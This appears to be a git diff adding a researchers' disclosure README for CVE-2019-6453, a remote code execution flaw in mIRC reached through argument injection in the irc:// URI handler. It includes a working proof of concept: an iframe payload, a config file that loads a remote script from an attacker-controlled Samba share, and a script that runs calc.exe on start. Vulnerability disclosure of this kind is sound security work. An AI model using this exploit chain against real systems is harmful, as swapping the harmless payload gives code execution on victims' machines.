|
| 1 | +# CVE-2019-6453: RCE on mIRC <7.55 using argument injection through custom URI protocol handlers |
| 2 | + |
| 3 | +\[[Link to the write-up](https://proofofcalc.com/cve-2019-6453-mIRC/)\] |
| 4 | + |
| 5 | + |
| 6 | +We found a **Remote Code Execution vulnerability** in mIRC through the |
| 7 | +**irc://** URI protocol handler. Because mIRC doesn't use any kind of sigil such |
| 8 | +as **--** to mark the end of the argument list, an attacker is able to pass |
| 9 | +arguments to mIRC through a **irc://** link and execute arbitrary code by |
| 10 | +loading a custom **mirc.ini** from an attacker-controlled Samba file server. |
| 11 | +Please note that **ircs://** works the same way. |
| 12 | + |
| 13 | +## PoC |
| 14 | + |
| 15 | +The proof of calc requires three files: **mirc.ini**, **calc.ini** and |
| 16 | +**poc.html**. We assume a Samba file server is running on the attacker's side. |
| 17 | +For the sake of the example, the following pieces of code assume it is running |
| 18 | +on host **127.0.0.1** (*i.e. replace **127.0.0.1** by your own server's address |
| 19 | +in the following files to try this out*). |
| 20 | + |
| 21 | +### mirc.ini |
| 22 | + |
| 23 | +**mirc.ini** is a custom configuration file that should be located at |
| 24 | +**C:\mirc-poc\mirc.ini** on the file server. |
| 25 | + |
| 26 | +```conf |
| 27 | +[rfiles] |
| 28 | +n2=\\127.0.0.1\C$\mirc-poc\calc.ini |
| 29 | +``` |
| 30 | + |
| 31 | +### calc.ini |
| 32 | + |
| 33 | +**calc.ini** is a remote script file that should be located at |
| 34 | +**C:\mirc-poc\calc.ini** on the file server. |
| 35 | + |
| 36 | +```conf |
| 37 | +[script] |
| 38 | +n0=on *:START: { |
| 39 | +n1= /run calc.exe |
| 40 | +n2=} |
| 41 | +``` |
| 42 | + |
| 43 | +### poc.html |
| 44 | + |
| 45 | +Just visiting **poc.html** should work assuming mIRC is set as the default |
| 46 | +handler for the **irc://** URI scheme and the browser does not encode the |
| 47 | +payload. Depending on the browser and your configuration, you might still get |
| 48 | +a prompt (*not the case on Firefox*). |
| 49 | + |
| 50 | + |
| 51 | +```html |
| 52 | +<iframe src='irc://? -i\\127.0.0.1\C$\mirc-poc\mirc.ini' /> |
| 53 | +``` |
| 54 | + |
| 55 | +## PoC gif |
| 56 | + |
| 57 | + |
| 58 | + |
| 59 | +## Affected versions |
| 60 | + |
| 61 | +This PoC runs for mIRC <7.55. |
| 62 | + |
| 63 | +You can trigger the PoC on Edge 42.17134 (*last preview version*) and Firefox |
| 64 | +64.0.2 (*last release*). |
| 65 | +It doesn't work on Chrome because the way Chrome handle URI protocols (*URI is |
| 66 | +encoded before being passed to the application*). |
| 67 | + |
| 68 | +## Authors |
| 69 | + |
| 70 | +- Baptiste Devigne ([Geluchat](https://twitter.com/Geluchat)) and Benjamin Chetioui ([SIben](https://twitter.com/_SIben_)) |
0 commit comments